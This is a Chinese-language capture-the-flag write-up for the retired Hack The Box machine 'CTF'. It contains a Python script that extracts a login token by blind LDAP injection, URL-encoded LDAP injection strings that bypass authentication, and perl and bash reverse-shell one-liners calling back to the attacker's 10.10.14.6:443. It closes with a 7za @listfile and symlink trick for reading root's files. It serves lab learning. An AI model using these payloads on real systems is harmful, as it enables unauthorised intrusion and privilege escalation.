本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关

靶机是作者购买VIP使用退役靶机操作,显示IP地址为10.10.10.122

本次使用https://github.com/Tib3rius/AutoRecon 进行自动化全方位扫描

执行命令 autorecon 10.10.10.122 -o ./CTF-autorecon

HTB-靶机-CTF_3d

就开了两个端口,我们直接访问80端口

HTB-靶机-CTF_3d_02

HTB-靶机-CTF_3d_03

根据上面提示本靶机不能暴力猜目录,所以我们不能使用dirb,gobuster之类的工具进行爆破,直接看登录界面,然后翻看网页源码

HTB-靶机-CTF_3d_04

给出了提示是含有81位字符串的token和登录的密码是OTP,关于OTP的介绍参考:https://zh.wikipedia.org/zh-cn/%E4%B8%80%E6%AC%A1%E6%80%A7%E5%AF%86%E7%A2%BC

HTB-靶机-CTF_根目录_05

测试登录界面,随便输入一个账户和密码显示账户bmfx没有找到,经过漫长的测试,最终是如下模糊测试方法猜测出来了一个用户名

wfuzz -c -w /usr/share/seclists/Usernames/Honeypot-Captures/multiplesources-users-fabian-fingerle.de.txt --hs "not found" -d "inputUsername=FUZZ&inputOTP=9988" -u http://ctf.htb/login.php

HTB-靶机-CTF_php_06

确认存在用户名ldapuser

HTB-靶机-CTF_3d_07

知道了用户名开始枚举出来81位字符串

#!/usr/bin/python3
import requests
import sys

YELLOW = "\033[93m"
GREEN = "\033[32m"

def send_payload(payload):
post_data = {"inputUsername":payload,"inputOTP":"0000"}
req = requests.post("http://10.10.10.122/login.php",data=post_data)
response = req.text
return response

def check_response(response):
if "Cannot login" in response:
return True
else:
return False

def exploit():
global token
n_list = [n for n in range(10)]
for i in n_list:
payload = "%2A%29%28uid%3D%2A%29%29%28%7C%28pager%3D{}{}%2A".format(token,str(i))
response = send_payload(payload)
if check_response(response):
token+=str(i)

token = ""
print(YELLOW + "[*] Extracting Token")
while len(token) != 81:
exploit()
sys.stdout.write("\r" + YELLOW + "[*] Status : " + token)
sys.stdout.flush()
else :
print(GREEN + "\n[!] Done !")
print(GREEN + "[*] Token : " + token)

HTB-靶机-CTF_php_08

得出token:285449490011357156531651545652335570713167411445727140604172141456711102716717000

这里涉及到ldap注入,具体可参考:https://xz.aliyun.com/t/5689

最终可以通过下面测试字符进行注入绕过目标靶机的登录限制进入后台执行命令,测试字符需要进行双URL编码

将ldapuser)))%00 进行URL编码为 ldapuser%29%29%29%00 使用此编码形式在浏览器登录可以绕过

将*)(uid=*))(|(uid=* 进行URL编码为 %2a%29%28uid%3d%2a%29%29%28%7c%28uid%3d%2a 使用此编码形式在浏览器登录可以绕过

HTB-靶机-CTF_3d_09

上面是执行效果,成功话就会跳转到page.php页面,然后就可以执行命令了,具体如下

HTB-靶机-CTF_php_10

HTB-靶机-CTF_3d_11

确认执行命令没有问题,开始反弹shell,这里由于目标靶机环境较为苛刻,我们使用本地监听443端口,使用perl反弹代码或者bash反弹代码都可以

HTB-靶机-CTF_3d_12

HTB-靶机-CTF_根目录_13

反弹代码:

在浏览器登录窗口上执行反弹代码
perl -e 'use Socket;$i="10.10.14.6";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

bash -c 'bash -i >& /dev/tcp/10.10.14.6/443 0>&1'

拿到反弹shell之后翻看网站根目录信息,翻看到login.php存在敏感信息

HTB-靶机-CTF_根目录_14

使用此账户和密码登录目标靶机的ssh端口,发现登录成功了,翻看了当前目录和根目录发现根目录有个备份文件夹,进去看了下,发现如下

HTB-靶机-CTF_根目录_15

这里可以通过7za来读取root目录下root.txt 可以 通过man 7za查看到当打包备份的目录含有类似@listfile文件的时候7za会报错列出诊断信息, 此时的信息便是读取文件信息,所以我们可以尝试新建@类似的文件, 然后使用软连接的方式连接到想读取文件的位置即可,具体操作命令如下:

touch @bmfx
ln -s /root/root.txt /var/www/html/uploads/bmfx
tail -f error.log

这里操作需要通过反弹shell的环境操作,使用ldapuser的环境无法新建文件

HTB-靶机-CTF_根目录_16

HTB-靶机-CTF_php_17

 

迷茫的人生,需要不断努力,才能看清远方模糊的志向!